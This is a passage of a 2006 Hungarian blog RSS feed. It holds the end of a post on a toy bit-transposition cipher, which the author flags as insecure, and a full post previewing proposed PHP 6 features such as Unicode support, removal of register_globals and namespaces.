0 1 1 0 1 1 0 1
0 1 1 0 1 0 0 1
0 1 1 1 0 0 0 0
0 1 1 1 0 0 1 1</pre>

<p>Ismerős a szituáció? Most már semmi más dolgunk nincs, mint kiolvasni a biteket függőlegesen, visszaváltani őket tizes számrendszerbe, majd a számnak megfelelő ascii karaktert kiírni a másik fájlba. A dolognak természetesen megvan a maga szépséghibája, méghozzá az, ha a fájl mérete nem nyolccal osztható, ilyenkor az utolsónak beolvasott X karaktert kipótolom 8-X darab nullával. Viszont természetesen megvan a dolog szépsége is. Ugyanezzel a kóddal vissza is tudjuk fejteni az elkódolt fájlt, csak a visszafejtett végén lesz (8-X) darab nulla. Emellett a szemfülesebbek észrevehették, hogy az a-z 01100001 és 01111010 közé esik, valamint az A-Z 01000001 és 01011010 közé. Tehát: csak az angol ABC betűit tartalmazó szöveg esetén a nyolcas négyzetben az első oszlop mindig csupa nulla a második pedig csupa egyes. De ha még a második oszlopot figyelmen kívül is hagyjuk, az valószínűbb, hogy az első oszlop nulla lesz, ami meg egy kódolt szövegben feltűnő lehet, hogy minden nyolcadik karakter bináris nulla.</p>

<p>No ennyi lenne első nekifutásra a dolog, de tervben van már, hogy beszerzek a témával kapcsolatban valami könyvet és akkor tudosítók majd komolyabb algoritmusokról is. Ja, és mégegyszer így a végre, ez a kódolás egyáltalán nem mondható biztonságosnak, mindenki csak saját felelősségére használja (vagy inkább ne használja), a deadlime.project nem tud és nem is akar felelősséget vállalni az esetleg így kiszivárgott titkok miatt. :)</p>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2006/04/26/egy-kis-kriptografia/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>PHP 6</title>
		<link>http://deadlime.hu/2006/04/23/php-6/</link>
		<comments>http://deadlime.hu/2006/04/23/php-6/#comments</comments>
		<pubDate>Sun, 23 Apr 2006 14:55:30 +0000</pubDate>
		<dc:creator>#suidroot</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[névterek]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Unicode]]></category>

		<guid isPermaLink="false">http://deadlime.hu/2006/04/23/php-6/</guid>
		<description><![CDATA[Nem kérdés: a legtöbb webfejlesztő álmai között kiemelkedő helyen szerepel az új PHP változat – szám szerint a hatodik – megjelenése. De mégis: kevesen vannak teljesen tisztában azzal, hogy pontosan mit is várhatnak a PHP 6-tól. Ebben a cikkben megpróbálom emészthető formában összefoglalni az új verzió nyújtotta legfontosabb lehetőségeket: 1. Unicode A PHP fejlesztői által [...]]]></description>
			<content:encoded><![CDATA[<p>Nem kérdés: a legtöbb webfejlesztő álmai között kiemelkedő helyen szerepel az új PHP változat – szám szerint a hatodik – megjelenése. De mégis: kevesen vannak teljesen tisztában azzal, hogy <em>pontosan</em> mit is várhatnak a PHP 6-tól. Ebben a cikkben megpróbálom emészthető formában összefoglalni az új verzió nyújtotta legfontosabb lehetőségeket:</p>
<span id="more-39"></span>
<h3>1. Unicode</h3>
<p>A PHP fejlesztői által elkövetett legnagyobb hiba talán az volt, hogy figyelmen kívül hagyták azt a változatos nyelvű/nemzetiségű környezetet, amelyben a PHP működik. A Unicode-sztringek kezelése eddig csak az <code>mb_string</code> kiterjesztésen keresztül volt lehetséges, ami viszont nem minden webszerveren vehető igénybe (arról nem is beszélve, hogy használata pluszkóddal/pluszmunkával jár). Szükség volt egy beépített, transzparens Unicode-implementációra. A fejlesztők választása az ICU (International Components for Unicode) nevű kipróbált kódkönyvtárra esett. A végső cél: a kódkönyvtár segítségével elérni, hogy minden sztring-kezelő függvény és operátor Unicode-biztossá váljon. A munka jól halad, egyetlen probléma van: az új Unicode-megoldást használva az alkalmazások kb. 25%-kal lassabbak lettek :-/.</p>

<h3>2. Tisztogatás</h3>
<ul>
<li><strong>register_globals, magic_quotes</strong> — Sokan megkérdőjelezték már ezen funkciók létjogosultságát az elmúlt években. Most megtörtént a nagy áttörés: a hatos verziótól kezdődően mindkét – súlyos biztonsági kockázatokkal járó – funkció <em>el fog tűnni</em>. Használatuk a PHP elindításakor <code>E_CORE_ERROR</code> szintű hibát fog okozni, tehát a szkript le sem fut; csak egy üzenet jelenik majd meg, ami figyelmeztet a használni kívánt funkció veszélyeire, illetve a biztonságos programozás fontosságára.</li>

<li><strong>safe_mode</strong> — A nevéhez méltatlanul a safe_mode gyakorlatilag soha nem volt képes biztonságosabbá tenni a PHP használatát, így szerintem senki nem csodálkozik, ha azt mondom: ettől is megszabadultak a fejlesztők. Használatakor szintén <code>E_CORE_ERROR</code> szintű hibát kapunk. (Ennek ellenére hasznosnak ítéltetett az open_basedir funkcionalitása, így ez megmarad.)</li>
</ul>

<h3>3. A Zend motor kiegészítései</h3>

<ul>
<li><strong>64-bites egészek</strong> — Döntés született arról is, hogy a már meglévő 32-bites integer típus mellé (tehát nem helyette!) szükség van egy 64-bites változatra is. Az új típus neve – meglepő módon – int64. Persze felmerül a kérdés: hogyan közöljük a motorral, hogy nekünk 64-bites integerre van szükségünk az alapértelmezett 32 helyett? A megoldás a változó típusának explicit meghatározása:
<pre class="code prettyprint lang-php">$bigInteger = (int64) 123456;</pre>
</li>

<li><strong>goto</strong> — Valószínűleg webes fórumok tucatjai lettek tele prokkal és kontrákkal a <code>goto</code> konstrukció PHP-s megvalósítását illetően. A fejlesztők végül egy igen kreatív ötlettel álltak elő ebben a nehéz kérdésben: a <code>break</code> kulcsszó kiterjesztésével hoznak létre a hírhedt <code>goto</code>-éhoz hasonló funkcionalitást. A <code>break</code> viszont továbbra is csak ciklusok és feltételes szerkezetek belsejében lesz használható, így csak ezekből lehet majd kiugrani egy adott címkére. Szemléltetésképpen:
<pre class="code prettyprint lang-php">
if (true)
{
    // Itt fogjuk magunkat, és hopp kiugrunk:
    break blah;
}

    echo 'Ez a szöveg soha nem jelenik meg.';

blah:
    echo &quot;Ide ugrottunk!&quot;;
</pre></li>

<li><strong><code>foreach</code> több dimenziós tömbökön</strong> — Egy apró, bár érdekes kiegészítés. Mostantól használható az alábbi szintaxis többdimenziós tömbökre alkalmazva:
<pre class="code prettyprint lang-php">
$a = array(array(1, 2), array(3, 4));

foreach( $a as $k =&gt; list($a, $b))
{
    // ...Itt játszunk az adatokkal...
}
</pre>
</li>
</ul>

<h3>4. OOP</h3>

<ul>
<li><strong>Névterek</strong> — Sokan zavarónak találták, hogy a PHPben nincsenek névterek. Több lehetséges megoldás közül végül ez lett a nyerő:
<pre class="code prettyprint lang-php">
namespace Foobar
{
    const testconst = 'xyz';
    function testfunc() { ... }
    class testclass
    {
        function abc() { ... }
    }
}

// Lehetséges használati mód pl.:
A\\testclass::abc();

// Így lehet majd importálni:
import A\\*;
</pre>
Tehát:
<ul>
    <li>Lesz egy namespace kulcsszó, amivel névterek hozhatóak létre.</li>
    <li>A névtereken belül osztályok, függvények és konstansok helyezkedhetnek majd el, változók nem.</li>
    <li>A névtér-operátor valószínűleg a '\' (backslash, visszaper) karakter lesz.</li>
    <li>Az <code>import</code> kulcsszóval lehet majd az alapértelmezett (név nélküli) névtérbe helyezni egy névtér tartalmát.</li>
</ul>
</li>

<li><strong>Függvények visszatérési típusa</strong> — Ezentúl lehetőség lesz jelezni a motor számára, hogy egy függvény visszatérési értéke pontosan milyen típusú objektum is lesz. Valószínűleg az alábbi megoldások közül fognak a fejlesztők kiválasztani egyet:
<pre class="code prettyprint lang-php">
    function ObjectName &amp;funcname();
    function &amp;ObjectName funcname();
    function &amp;funcname ObjectName();
    ObjectName function &amp;funcname();
    function &amp;funcname() returns ObjectName;
</pre>
</li>
</ul>

<p>Aki idáig eljutott annak gratulálok, remélem mindenki számára tudtam némi újdonsággal szolgálni. A fentebb említett funkciókat a fejlesztők folyamatosan építik be a PHP kódjába. Hogy a folyamat hol tart, arról nem tudok nyilatkozni; de ha valaki még ezután a cikk után is információra éhes, annak ajánlom a <a href="http://hu.php.net/mailing-lists.php">PHP levelezési listákat</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2006/04/23/php-6/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
	</channel>
</rss>

